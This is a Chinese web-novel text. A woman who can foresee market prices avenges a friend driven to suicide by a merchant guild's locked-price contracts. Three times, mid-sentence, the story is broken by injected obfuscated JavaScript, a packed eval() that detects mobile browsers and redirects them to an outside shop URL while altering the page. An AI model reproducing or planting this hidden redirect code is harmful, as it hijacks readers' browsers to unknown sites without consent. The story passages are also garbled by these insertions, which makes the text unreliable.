《时价商铺经营手册》 1. 开端 “范老板，大清早又小酌呢？” 范清梧放下手中的酒杯，对前来走账的商人笑了笑，接过他递来的单子。 货单上，隐隐的数字飘在名录上。 范清梧穿越到向林城十几年，因为这个看透未来价格的能力，索性开了家牙行，帮往来的商人避开亏损，从中抽点够她过活的佣金。 她对现在的生活很满意。 “你这单可以找西门的脚夫，他过会儿会来，要我替你转交吗？” “行，信得过范老板。” 商人在范清梧递来的契书上签了字，左看右看，神神秘秘地凑到她耳旁，“听说商会最近再推一种锁价订单，以现价一分利的涨幅，订购为期三个月的货，你觉得有搞头吗？” 范清梧低着头，把契书收到案台里，并没往心里去，“商会不至于做有损自己声誉的事吧。” “那范老板要不要合伙，以我商行的名义？” “我？”范清梧顿住，思绪绵长地摇了摇头，“我不想做那种大买卖，饿不死就行。” 范清梧若是想，早就用能力赚的盆满钵满了。 但在这古代，她孤身一人，未必能守得住财。 做个普通但有用的人，是最安全的。 毕竟刚过来那几年，她一头雾水，为了适应这丛林时代，实在惊心动魄。若不是遇到季杭，她可能早死了一万次了。 “清梧，今儿开张了吗？” 熟悉又悦耳的声音，范清梧抬头，弯着眼睛迎上来人：“今天有空来看我了？季杭。” “忙完了，”季杭大马金刀地坐在桌前，拿起范清梧的小酒壶，给自己掺了杯，仰头一饮而尽，“呼，总算热和了，你这屋该添个暖炉。” “抗一下就过了，冬天不长。” 季杭借着暖乎劲儿，跟范清梧东拉西扯。 季杭是个织坊主，当年就是她捡到快饿死的范清梧，收留了她。 范清梧每每看见她，都止不住笑意，还有心疼。 季杭太想往上走了，她一天比一天憔悴，但面对她那股冲劲，范清梧也不忍心劝阻。 “清梧，你真的，就做个小牙人太浪费了。” “我可没办法像你这样起早摸黑的，季杭，你该休息下了。” 季杭摇头，“我买了新的织机，商会有个锁价订单，你听说了吗？” 范清梧停下手里的事，认真看着季杭点了点头。 “我签了。这可不是想签就签的，还要评估作坊大小，加上这个新织机，我合格了。” 说罢，季杭又给自己掺了满酒，举着那盏小酒杯看着范清梧，“等这单结清，不知能否借此加入商会。到时候来我家喝酒，比你这个，好多了。” 季杭双眼闪亮，那是对未来充满期盼的眼神。 范清梧从案台里走出来，坐在季杭对面：“商会不收女子。” “我知道，”季杭没有止住畅想，“但也许……秦策说了，截单的作坊都能得到被举荐机会。” “给我看看？” 范清梧微微蹙眉，看着双颊微红的季杭从兜里十分宝贝地摸出张折好的契书，屏息接了过来。 一刻过去，在季杭轻微的呼吸声中，范清梧确实没有看出什么不好的地方。 各个条款都十分完美，好像完全就是商会在做慈善似的。 这才是不对劲的地方。 范清梧眉头越发紧皱，却依然没找出破绽。 她甚至使用能力，看了合同中所订布匹未来的价格，合同价的确能覆盖。 布匹的价格在季杭所说的期限中并没有太大的波动。 也许，这真的是商会在做好事？ “商会转性了，要做善绅了？”范清梧嘀咕着，把契书还给了季杭，“你小心点。” 季杭歪着头，伸手摸了摸范清梧的脑袋，“放心。” 接下来的日子，范清梧确实看到季杭状态变得好起来，她不再疲态，甚至常常有时间光顾范清梧的小铺子。 就在范清梧习以为常的时候，季杭消失了。 头几天，她以为季杭只是回归了忙碌的节奏，毕竟她要开始交货，所有织机都要开动起来。但接下来的一周，季杭再未出现过。 范清梧实在不放心，便去了季杭的作坊，却只见工人，未见坊主身影。 这织坊也并不像范清梧想的那样热火朝天。只有两三台织机吱呀呀交替着叫唤，边上还空着几台，好像很久没开动过了。 “出什么事了？” 范清梧一打听，竟才知道季杭拖欠了工钱，导致大部分工人罢了工。范清梧越听越觉得不可置信，那个施了她几年饭菜，教她独立的季杭，怎么会拖欠工钱？ 范清梧终于在市场上找到了的季杭，她顶着一双黑眼圈，一向干净的长衣好像蒙了一层灰。她忙着在原料货单上签字，对范清梧的提问退避三舍。 “季杭，你可以用我的钱。” 季杭肉眼可见的震颤了一下，却在三两秒后，头也不抬地轻声拒绝了。 “不是钱的问题，清梧，”她叹了口气，“等这段时间过了，就好了。” 范清梧没再强求。 季杭比起她是更为老道的商人。 也许她有她自己的考量，范清梧便不再多问。 但范清梧没想到，这大概是她这辈子作出的，最后悔的决定。 第二天清晨，范清梧接到了季杭的死讯。 作为季杭唯一的“亲人”，她被叫去清点季杭的遗物。 范清梧一路被流程推着走。 她看着盖着白布的季杭躺在床上，不敢去看，任凭入殓师在耳旁讲述着些断断续续的句子，偶尔捕捉到些许词语：自杀、冬天、安葬…… 范清梧摇着头，她感觉自己站在这屋子里，冷得手足无措。 墙边，来往的人燃起了暖炉，但范清梧丝毫不觉暖和。 果然，添个暖炉，在这寒冬里，并没什么用处。 她从这间屋子走出去，穿过院子，就是季杭的织坊。 所有的纺织机都安静地矗立在那里，明明拥挤的工坊却在此刻显得冷清空荡。 范清梧穿行其中，走到角落的一个小案台，上面堆叠着乱七八糟的账册，契书。 她莫名地拿起一本翻看，放下又拿起另一本。 凌乱的字迹写在上面，又不停地划掉，计算，修改，划掉。 最后是凛冽的折线，一道道划过纸页，仿佛一刀刀割在范清梧的心上。 她哗哗翻动着的手，突然停下了。 这一页，季杭无力的笔触写下了一行清晰的字： 算不下去了。 范清梧捏着账本，纸张几乎要被她抓扯揉碎。 她直愣愣地站在那里，盯着那行字，想象季杭写下它的心境。 季杭在最后一刻，变卖了织坊，结清了工钱。 但她没给范清梧留下一句话。 范清梧闭上眼睛，轻轻放下账本，捋平褶皱，收进了自己的衣袋。 待到哀悼的人们离开，范清梧熄灭了炉火，她想让季杭多陪她些时间。 她坐在床前，翻看着收来的账册。 身边放着一壶酒，那是季杭想要请她喝的酒。 范清梧一杯一杯地往下灌，喉咙间落下一瞬的辛辣。 她得喝醉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351387|199608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝醉了，她才能更清楚的看见。 在一阵断片之后，范清梧从冰冷的地板上爬了起来。 烛光摇曳着，告诉她夜晚还没离去。 她晕头转向俯身撑在地上，看着她醉酒前，摊开摆好的账本。 它们一本本在地上排开，账目落在范清梧眼里，慢慢地，浮现出了一些注释。 过于庞杂的信息让范清梧揉了揉眼睛，她呼出一口白气，手指在一行行账目上划过。 季杭究竟为什么会自杀？ 她注视着每一条浮动的价格，她的能力会在浓烈的酒精下发挥到极致，她看见了未来所有价格的可能性。 它们浮动着，歪歪扭扭地跳动在空中，想逃脱范清梧的捕捉。 季杭应该有利润可赚，为什么会算不下去？ 范清梧一行行地检查，购置织机，工钱，原料…… 原料旁陡然跳升的数字让范清梧睁大了眼睛，酒精让她的脑子嗡嗡叫唤，她像要抓住虫子似的，飞快把这些数字抄在自己的本子上。 如此，酒醒时她才不会忘掉。 范清梧就在这混沌的思绪中，理清了季杭的绝境。 原料被人为上涨，这是她始料未及的。 所以，这张契约下。 履约，会慢性破产。 毁约，会赔钱，会断绝与商会交易。这是在行业中死亡。 即使有更高的私人报价，也必须先对它履约。 它锁死的，不是季杭的布匹，而是她的经营，她的织坊本身。 这是契约主算计好的，即使季杭借再多的钱，也会在亏损中消耗殆尽。 所以她拒绝了范清梧的帮助，她知道自己落进了深渊，她不想拉范清梧进来。 但是，有什么会比死亡难解呢？ 范清梧看着自己的字迹被莫名的水滴浸花。 她一笔一笔，用力地杵在上面。 为什么不和我商量？ 范清梧低着头，一阵呕吐感袭来，她捂住嘴，生生压了回去。 她身后，季杭还睡在床上。 我为什么没阻止她？ 范清梧感到手心湿凉，冷风从脚下灌进来，她打着颤，却在这寒风中升起一股油然的愤怒。 季杭，这酒可真难喝啊。 第二天，季杭下葬了。 范清梧独自去商会处理织坊的事务。 她冷脸看着那张逼死季杭的契书盖上失效的戳子，听着办事人惋惜又轻蔑的哀叹。 “女子还是受不住这行的苦。” 范清梧冷哼一声，拿回契书，但她没走出两步就停下了。 一个闹腾的商贩，被人架了出去，嘴里嚷嚷着“规矩在吃人”。 另一些人戏谑地笑看，又视若无睹地转头聊着天。 “锁价供货那一批，又少一个。” “这种撑不住的，本来也不该签。” “锁价这套，一直是秦策主推的。” “不这么干，市价早乱了。” “他这样控制成本，实在是高明” 呵，成本。 季杭成了这些人口中的成本。 范清梧走到商会入口，翻着案台上那本发黄的名册，默默记下了她刚刚知道名字。 秦策，商会会长，自有桑田麻田百亩，主推锁价订单之人。 郑佑卿，商会会长，自有丝绢布庄，契书审批之人。 范清梧一眼理清这其中的利害。 她盯着这些人的营生，隐隐发笑。她居然没看出这锁价订单的陷阱，大概是闲适的生活过得太久了。 也许，这就是季杭对她不求上进的惩罚。 3. 佯攻 郑佑卿赶到时，马车还停在仓库外，板车空空如也。 他不禁松了一口气。 走进布仓，范清梧揣着手站在阴影中。而仓吏们，正在布匹前忙碌清点。 没有把它们搬下来，也没有运出去。 郑佑卿不知道范清梧打得什么算盘，他朝她的背影走去，放慢脚步后吞咽了一下。 范清梧知道他来了，慢慢偏过头，“终于见面了，郑老板？” 她嘴角有一抹难以察觉的微笑。 郑佑卿点点头，走近了些，才低声问道：“你来提货，已经卖了？” “嗯，本来是要送给秦策的。” 说话间，范清梧不再看郑佑卿。郑佑卿只好走到范清梧身侧，和她一起打量着布匹，仓吏。 “本来？”郑佑卿道。 “听说，您的出价更高。” 郑佑卿微微咬紧了下颚。 她看到他踏进仓库的那一刻，就知道他想干什么。 郑佑卿：“我是不知道你怎么跟秦策谈的，但若你把货票还给我，秦策那边我可以帮你去说。” 范清梧冷笑一声，走开了。 郑佑卿皱着眉，转头瞥见等在门口的师爷似乎接到了什么信。 两人对上视线后，师爷赶忙迈着碎步走近，不动声色地递上一张纸条，上面写着： 征令还有两日到达。 右下角画一堆符号，标注着先收到消息的城中，所征收的数量。 郑佑卿在脑内一通估算，手有些发颤地把纸条揉成团。 “范老板，现价再加两分利，”郑佑卿沉下声音，“这样，应该能覆盖你毁掉与秦策约定的赔偿了吧？” 范清梧没回头，她仍旧按自己的步调，指挥仓吏把品质一致的布匹放到一起。 这两分利，还真是耳熟。 范清梧思绪荡开。 她想象着季杭当初也是这样恳求过他们。 她要让他们也尝尝时间割在心尖上的滋味。 季杭一定四处寻找过机会，原料商，交付数量，亦或是提前支取货款。 她大概被所谓的条款束之高阁，乖乖按照规矩行事。 却没想到这规矩本身就是把带血的剔骨刀。 范清梧能感觉到郑佑卿镇定之下强装的焦躁，至于为什么，她不想猜。 她已经看到几天后价格会再次上涨，能力不会骗她。 她一点都不着急。 当初季杭面对的人，是不是也和她现在一样？ “你早就知道了？”郑佑卿却再也按耐不住心中的疑虑，问道，“你知道会有这道粗布征收令？” “征收令？”范清梧回过头，看着郑佑卿的眼睛，终于一脸恍悟地摇了摇头，“我不知道。” 郑佑卿叹了口气，有了些低头的姿态，“秦策没有这批布，无关紧要，他名下没有布庄，不会接到征收令。但我不同，我若没法交上配额，上下这么多人手……只有这个仓库里，你应该明白……” 范清梧现在确实明白了。 所以这郑佑卿，其实是性命之忧？ 她饶有兴致地看着郑佑卿，有些话到了嘴边，又咽了回去。 忙碌的仓吏们因为郑佑卿的话，全都停了下动作，他们面面相觑，随后齐齐看向范清梧。 他们的东家，他们的活计，都指望着范清梧接下来的话。 “假若真到那一刻，你会怎么做？”范清梧安之若素，继续问道，“你会在领罪前，遣散家仆？还是要大家陪你一同殉葬？” 所有目光又一同扫向郑佑卿。 他似乎有些困惑，但还是正了正身形，用缓慢又清晰的字句答道：“代价，到我为止。” 仓库内再次窸窣声起，似乎有人不太明白自己东家的答案，向更年长的人寻求解释。 “你记得你曾签过的一张契约吗？” 范清梧开始娓娓而言，她像在说一件自己毫不关心的事，把季杭那张契约的细节一点点摘给郑佑卿听。 她边说边观察着他的表情，始终，没说到好友的死。 “……你们锁住了货和款，却又想在原料上得利？” 说完，又是一阵寂静无声。 郑佑卿片刻后，才开口道：“它本意是防风险——” “谁的风险？” “……商会成员。” “所以除了商会成员，你们不在意其他人的死活。” “不能这么说，”郑佑卿在范清梧的咄咄追问之下，有些畏缩，“只是……没考虑那么详尽。” “意思是，如果有人向你恳求，你就会同意宽限甚至撤销契约？”范清梧轻声说道，“就像你现在打算要求我做的一样？” 郑佑卿大概意识到了，范清梧口中的“其他人”，也许因为自己的签字，付出了无可挽回的代价。他背心浸汗，不知道他面前的姑娘是否就是因此，向自己寻求报复。 他低下头，看着范清梧的衣角。 白色的麻布已经有些泛黄，磨破的边角露出了些线头，被整齐地裁剪过。 “抱歉。” 郑佑卿不知道还能说什么。 仓库雅雀无声，所有人都看到这位坐于商会顶层的东家，朝一位小商人道歉。 时间前所未有地慢，郑佑卿在等待范清梧的回答中，煎熬难耐。 他能听见每个人的呼吸声，前后左右都和他一样屏息而立。 只有范清梧，她轻轻迈开步子，发出细碎的沙沙声。她拿起了布匹的一角，若无其事地查看起来。 “麻分早麻、晚麻，纤维长短不同，量大价格平稳，织坊几乎从不会去注意这些东西的涨跌。它们是活纤维，急着上机，就得裂，裂一次，后面补得再好，也是次货。而麻布每一道工序都有损耗，这些损耗，只会算在织坊头上。 “这些，想必坐拥布庄的郑老板，应该比我更清楚。” 郑佑卿注视着范清梧手里的麻布，沉默半晌，才道：“你说的这些，我都知道。那张契约，我也看得懂会走到哪一步。” 范清梧停住动作，似乎因为她的用力，粗布上绷起一道道山脊般的痕迹。 “当时原料被抬价，我也知道，我可以拦住他们，但我没有。我确实……只看到了商会。” 郑佑卿闭上眼睛，沉思片刻后叹出一口气，“就如之前我回答的，你若要为此报复我，我领下。” 郑佑卿睁开眼，朝身旁的师爷说道：“备些钱，散了这些人吧。” “可，东家，您就这么放弃了？” “规矩就是这样，愿赌服输。” “我和秦策，并没签纸面上的东西。” 范清梧突然笑了。 她看到郑佑卿明显瞪大了眼睛，转瞬锁住了眉，本藏在那的一丝惴栗消失了。 “您就没想过，动手抢过来吗？”范清梧挑衅道。 范清梧不会砍下致命的那一刀，她不会变成逼死季杭的那种人。 她以为这招不过是让郑佑卿出出血，没想到变成了铡刀，她一手握着绞索。 郑佑卿紧绷的双肩松懈了，但疑惑也变得更为复杂。 范清梧突然松了口，又告诉他该用的手段。 他随即摇了摇头，“要是在我的仓库发生这种事，我怕以后，没人再信任商会。” “你是不是觉得，我会放过你？”范清梧的笑忽然带上了疯癫，直直盯着郑佑卿，“我现在谁都不给，这里的货我提走三成，剩下的，封仓。” 郑佑卿眉头微动，没有插话。 “封到什么时候我说了算，这规矩， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351389|199608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”范清梧扬了扬手中的货票，“可是你们商会定的。” 范清梧给了郑佑卿一个死缓。 郑佑卿本以为自己有了一线生机，又再次被破了盆冷水。 他克制地站在那。 看着范清梧走出仓库大门。 仓吏们呆呆地望着这个景象，直到郑佑卿一声令，才又开始动作，把范清梧挑好的布匹装上马车。 郑佑卿扶住额头，用力地往后捋了捋头发，找了把椅子，瘫软地坐下。师爷紧紧跟着他，似乎有什么劝说的话。 “东家，您就这么干等着？” “等……”郑佑卿靠着椅子，看着堆放的布匹逐渐缺出一个角，“她不是说了吗，麻布这种东西，就是慢一点，品质才高。” 一天后，范清梧再次来到商会会馆。 这次，她依然听到了这些商会成员对各种流言的评判。 而她和郑佑卿的交易，自然因为在场人数众多，早就传开了。 她听见关于自己的评价，不外乎是，精明，冷漠。好像人人都在替郑佑卿可惜，把自己塑造成了一个阴险狡诈的反派。 这倒和她上次来时的感觉一致。 他们会为自己的阵营找补，不管是输是赢。赢过他们的人，是多亏他们大意放水；被他们吃掉的人，是能力不足运气太差。 他们总会迅速地为所有事归因，总结，再而翻篇。即使是高高在上的会长，也不过是一个新奇的谈资。郑佑卿的结局会如何，那更与他们无关。 所以，即使范清梧有了如此名声，他们也不关心她到底是谁，不好奇她的长相。 他们不屑于同阵营外的人打交道。 难怪季杭想要挤进去。 范清梧叹了口气，从办事人那拿到了她买下的东西：一张房契。 这就是那三成粗麻布的价值。 她缓步走出会馆，听见互相吹嘘的交谈声中似乎夹着若隐若现的争吵。 终于，在门侧小巷看到了争吵的源头。 一名年轻商户正向一个穿着丝缎的年老商人恳求着，几乎要跪下，而老头只一味地想要挣脱离开。 年轻人满脸焦急，被老头一脚蹬开后转而变成怒颜，袖间露出一抹银光。 “小心！” 范清梧一声喊让年轻人迟疑了一下，而老头也注意到，一个趔趄摔倒在地，幸而躲过了挥向他的一刀。 年轻人还在继续，老头连滚带爬。 范清梧的呼喊引来了门役，她先于这些人冲了过去，挡在老头前面，伸手制住年轻人举起的刀。 “我可以帮你，”范清梧果断地说，“你也和他们签了那个锁价订单，对吗？” 范清梧一语中的，年轻人愣了一下，又微微向前倾了身子。 身后老头已经跑向了门役，他们接住他，听到他聒噪叙述，又立刻分出几个人朝这边跑来。 范清梧听见身后逼近的脚步，只向前一步，放下手摊开手心：“把刀给我，现在还来得及。” “……你要怎么帮我？”年轻人犹疑中握紧了刀，“你……一个女的……有什么能耐？” 范清梧眼看刀尖划过，后腰被人及时用力一拽，接着顷刻蹿出数人，将年轻人压在了地上。 刀当啷掉落，响了好几声。 范清梧怔愣好一会儿，才呼出一口气，耳旁心跳犹如擂鼓轰鸣。 她听不见地上人在叫喊什么，只看着他们扭作一团，像个不成人形的怪物。 救不了。 靠她一个人，无论如何都救不了。 她慢慢退开，走上正街，这才感觉到脸上莫名刺痛。手背擦过，留下一道血痕。 她抬头看着会馆正对面，一间小小的正在更换招牌的商铺。 这便是她以后的起点。 4. 时价商铺 新铺子的招牌只有四个大字：时价商铺。 范清梧几乎没有什么要搬过来的东西，除了那个旧旧的酒壶。 她照旧做着牙行生意，这天开张后，却鲜有人到来。 好不容易有曾经的客人路过，却只跟站在门口的范清梧打了个招呼，便摇摇头走掉了。 连老顾客都不愿进来，这跟范清梧想像的光景有点不太一样。 日过枝头，范清梧闲来无事，便在相邻的饭店内点了些吃食果腹。 她坐在档口外，正好能看见自己空荡荡的铺子，和络绎不绝的路人。有的是摊贩，推着自己的小车；有的是商贾，三三两两在会馆内外穿梭。 远处有渐隐渐现的车马声，接着是金戈声。范清梧探头一看，原来是有支镖队回来了。乌央乌央的黑衣配着软甲，没等范清梧看清，就听见一个高亢的声音，划空而来，叫着她的名字。 “你怎么在这儿？”来人大高个，束发在后。她取下腰侧的长刀靠在桌旁，便飒爽地坐在范清梧对面，“店家，给我也来碗一样的。” “许寻……你这次出去的有点久。”范清梧看着对面的姑娘，停下手里的动作，“出什么事了吗？” “唉，路比以前绕了，不好走。”许寻接过送来的东西就往嘴里塞，“要打仗了，大路要的路引随时都在变。” “你这会儿是来会馆结单？”范清梧问道。 “对啊，所以你怎么会在这儿？” “我给铺子换了个地方，”范清梧朝另一侧扬了扬下巴，把新铺子指给她看。 许寻三下五除二吃空了碗，范清梧端着筷子一脸钦佩。 许寻是少见的女镖师，所以免不了被压着些信息，被排挤。她也不在意，常常找范清梧问路价，一来二去就成了朋友。 “那边有人在看铺子，是不是找你的？”许寻转头问道。 “嗯……我还以今天不会有客人了。”范清梧抹了抹嘴，扬手叫来小二结账。 “我来结，”许寻站起了身，拍拍肚子，“等我办完事，就来找你。” 她拿好佩刀，给了小二银钱便大步往外，“小清梧，帮我跟季杭问好。” 范清梧就这么猝不及防地洒了一地铜钱，而许寻毫无察觉，早已走远。 范清梧回到铺子，那人却看到她后，慌张地想要离开。 “别走啊，算我今儿开张，第一单送您吧。” 范清梧赶忙叫住他。 客人神色闪烁，看衣着似乎只是个温饱小商，将信将疑道：“真不要钱？” 他好像怕被人看到似的，赶紧躲进店铺门后，“姑娘，要我说，你这店开在商会对面，就没人敢进来。” 范清梧这才意识到为什么连熟客都要避她三分。 “那……你帮我看看，这张单子能接吗？” 范清梧接过单子，看的时候小商一直在解释。 好在刚才范清梧要了杯黄酒暖身，她借着一丝酒力，看清了这单的活路。 “接了不一定赚，你得赶个时辰。” 说罢，范清梧拿笔写在了单子上。 小商接过单子，看了看，这才眼睛亮亮地对范清梧说：“我知道你，以前在西城，为什么过来了？” 范清梧偏头想了想：“这里看得清楚些。” 郑佑卿已经接到了征收令。 明天就是最后的交货期限。 他在堂内渡着步子，师爷在一旁算账，时不时有踏门而入的管事，登记完又迅速离开。 他们在跑全城的货。 那些小商大概做梦都没想到，自己能薅到郑佑卿的羊毛。 然而，郑佑卿手里的货却依然和需要的数量相差甚远。 郑佑卿时不时去看一眼师爷笔下的账。 天色渐暗，屋内也渐渐变得冷清，再无人光顾。 师爷停下笔，整间屋子仿佛被寒气冻住了。 “东家，要不，那仓中的货……先借来用用？”师爷小心翼翼，见郑佑卿没什么反应，又接着道，“用完再还回去，织户已经陆续开工了。” 郑佑卿站在原地，他一向重视规则，现在竟认真地考虑着师爷的话，准备打破它。 说到底，把自己逼到这个地步的，是当初想甩掉存货的自己。 范清梧。 郑佑卿回想着前几日，她最后与他的话。 “您就没想过，动手抢过来吗？” 动手抢过来。 郑佑卿转头盯住师爷，师爷吓了一跳，赶紧闭嘴。 郑佑卿却轻声道：“你刚才说什么，再说一遍？” “先……先用范老板的货，应付一下……” “这样会坏了规矩。”郑佑卿面无表情地说道。 仿佛是在说给自己听。 他要做到那一步吗？ 像范清梧说的那样，抢过来？ 郑佑卿走出屋门，站在院子内。 他望着天上那轮弯月，在云雾间若隐若现，直到消失在一片沉沉的云中，连光都透不出一丝。 院子里只剩黄橙橙的灯笼，和郑佑卿长长的，微微摇晃的影子。 第二天，浩浩荡荡的马队从郑佑卿宅前出发了。 他们走过拱桥，经过闹市，最终通过城门，由等在那里的镖队运至军需司。 范清梧照旧坐在自己的铺子前，搭着一张小桌，上面放着准备待客的茶水和酒壶。 她看着这马队从跟前的街道经过，叮叮当当，好生热闹。 而队末骑着马的人，却在经过她面前时，停了下来。 郑佑卿从马背上翻身而下，范清梧看着他，端着茶杯啜了一口。 郑佑卿左看右看，才找到一根破破的小凳子，亲自摆在范清梧对面，有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351390|199608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话想说，却又在等范清梧先开口。 范清梧装模作样，拿出一个小盏给郑佑卿倒了一杯，见他有些嫌弃地喝了一口，才扬眉道：“郑老板是来跟我打借条的？” “你果然知道了。” 范清梧偏了偏头，一脸无辜。 “我想了很久，你为什么封仓，”郑佑卿轻轻放下茶盏，“你是故意的。” “故意做什么？” “我用了你的货，你看上去似乎很高兴。” 范清梧露出一抹微笑：“你没别的选择。” 郑佑卿也笑了，但眼里全然没有笑意，反而有些微愠。 范清梧看着他，颔首道：“你倒是有这个勇气，就不怕我大闹一场，让你名誉扫地？” “你不会这么做。”郑佑卿冷冷说道。 “确实，我跟你们这种大手一挥，就压死小商活路的富商不一样。”范清梧晃了晃杯里的茶，一圈圈涟漪倒映着一条开满梨花的枝叶，“我不会把人逼到绝路。” “你究竟为什么做这种事？为了报复？你大可赚一笔离开，你到底想做什么？” 范清梧靠在椅子上，往来行人吵吵嚷嚷，送货的马队早已不见踪影。 “我就想让你体验一下，被逼到绝处的滋味……规矩这种东西，只有对自己有利的时候，才会有用。” 郑佑卿打破了自己定的规矩。 他皱着眉，放在膝上的拳头不自觉攥紧了些。 这就是范清梧的用意。 她把他变成越线的那个人。 郑佑卿压下眉，闭上眼睛：“你赢了。” 范清梧看着莫名紧绷的郑佑卿，有些可惜地摇了摇头。 “所以，就因为我签的那个单子冒犯了你？但你为什么要如此大费周章？”他顿了顿，看向对面商会的会馆，“还在这里开了间新铺子……” 他这才仔细地观察着范清梧的铺子，完全看不出她是买卖什么的。 只有一张布告张在门前： 本铺不收货，不代卖，不垫银。 只记当日市价，议三日后行市。 买卖自决，盈亏自负。 急货勿入，赌价勿问。 “商会会长郑佑卿，谁不想认识一下啊，”范清梧轻声道，“就你在我这坐了一会儿，都有人等在那里了。” 郑佑卿接住了远处视线，被发现后便又立刻就缩了回去。 他腾地站起身，脸上的表情越发难看。 “范清梧范老板，还是多谢你，愿意放过我。” 郑佑卿拂袖而去，就和他来时一样突然。 范清梧不以为然，她靠着椅子，向后仰头，看着郑佑卿上下颠倒的背影：他走向会馆，那间富丽堂皇的房子仿佛要落进天空。 范清梧伸出手，闭上一只眼睛，对着那里蜷起三根手指。 “砰！” 5. 商会之外 郑佑卿到会馆，正好是去见他的镖师。队伍已经在城外集结，只有镖头要跟他完成交接。 正巧有不少来结单的镖师，他们围在一个角落里，交流着这次路途上的信息。 “郑老板。” 郑佑卿回头瞥见高出他一个头的曹修，他走过来，大把的胡子随着他的笑容颤动。 “这次就靠你了。” “放心交给我。” 郑佑卿跟他行了个礼，交给了他通关用的牒文，两人就这么站在人群中攀谈起来。 “还是走商会的路？”郑佑卿问道。 “当然，等这趟完了，征收结束，这些路也该恢复正常了。” “正常？” “你不知道，因为征收令军方派人看着呢，土匪强盗都——”曹修突然意识到什么，话锋一转，“也许还是有不知死活的人会来硬碰硬。” 郑佑卿哼笑一声：“你放心，我不会因为有人看着，就放你曹大师的鸽子。” 曹修弯腰拱手，“还好，也因为这样，通关放行少，要不然这么大批的货，得活活堵在路上。” “看来商会以后要跟朝廷出钱，修修路了？” “也不失为一种办法。”曹修笑嘻嘻地在胸前朝郑佑卿弹出一个大拇指。 从他们身后路过的许寻，无意听到了这些话，给自己脑子里留了个路窄的印象，就一手颠着自己的钱袋子，和队友们道别。 她打算给自己放个假。 这趟镖挣了个把月的饭钱，但也伤筋动骨，路上还差点摔断一条腿。 她琢磨着，要不就去范清梧那帮忙好了。 但许寻出来后并没有直接去对面范清梧的铺子，远远看见她终于有了客人，不禁一笑，往城郊走去。 范清梧两天后才再次见着许寻。 她一脸恍惚地走进铺子，径直坐在角落里，一言不发。 许寻大概是知道了，范清梧想。 沉默半晌后，许寻开口道，“你这几天怎么没回家。” 但没等范清梧想出该怎么回答，许寻就帮她作出了结论：“你在这开店，是因为季杭吗？” 范清梧迎着许寻的目光，点了点头。 许寻就这么撇过头去，低头看着墙角，片刻后，她忽然像什么都没发生似的猛然起身，凑到范清梧跟前，几乎要贴到鼻尖：“我也要帮忙。” 没有征求范清梧的意见，只是作出了结论。 从这天起，范清梧的铺子里便多了一个高大的身影，时常扛着长刀，在门前门后晃悠。 而这里依然门可罗雀。 范清梧调侃许寻，说都赖她的刀，根本没人敢进来。 许寻话密得很，不一会儿就从商会数落到范清梧自己选址有问题。 两人有来有回拌着嘴，脸上却都是笑。 “你天天一单生意都没有，你哪来的钱？” “郑佑卿欠我一大笔。” “郑佑卿？那个商会会长郑佑卿？” 范清梧这才把自己收粗布的事讲给许寻听。许寻听完乐得手舞足蹈，手中的刀差点无处安放。 “过瘾！”许寻终于舍得把刀放在柜台上，她盯着范清梧又问道，“那时候的七成粗布，值多少钱？” “肯定按高价走啊。”范清梧比了个数，许寻一看笑得人仰马翻。 这时，风铃声叮咚响起。 许寻止住了笑，范清梧嘴角带着一丝余味儿，转头看向进来的客人。 “你好啊，想问点什么？” 来人摘下斗笠，看了看店里的凳子，没往那坐。 “我是送桐油的，征收期间路控着，城里缺，作坊、船坞都要的。商会放话，说可以往他们那交货。”小商咽了口唾沫，“他们说了，货进仓库，清点已过就算数，但是排批分次。” 范清梧结果小商递来的单子，看到上面偌大的红印。 “我这单排在第三批。” “那你怕什么？” “我怕我等不了那么久，家里还等着用钱。” 范清梧抬头，看了许寻一眼，她靠在门柱上，静静地听着她们的谈话。 “桐油没问题，”范清梧说道。 范清梧看到这批货的走势，头几天的价格高扬，之后便恢复了正常。 就是一个补库的价格曲线，没什么问题。 范清梧给自己倒了杯酒，咕咕仰头往下灌。小商流露出诧异的神情，看着她眨了眨眼睛，又专注地盯着那张单子。 “你要是能排在前头，还能多挣点。”范清梧说道，“我只能帮你到这，时间的问题，我解决不了。” 小商有些泄气，她捏着自己的斗笠，颤颤开口道：“那，还收钱吗？” “没帮到你的忙，不收了。”范清梧把单子递还给她，“你已经交货了？不能提出来吗？” 小商叹了口气：“这些工坊都是商会成员，他们联合起来统一收桐油。就连我以前的老主顾，这次也说听商会的。 “毕竟征收刚过，商路才恢复正常，商会要帮着这些工坊重新开工，说要统一调配，这些工坊也欣然配合。 “哪会有人想过我们这些散商，不依附商会，根本没有说得上话的地方。” 范清梧听完她的发言，感慨万分。 她怎么会不懂呢？ 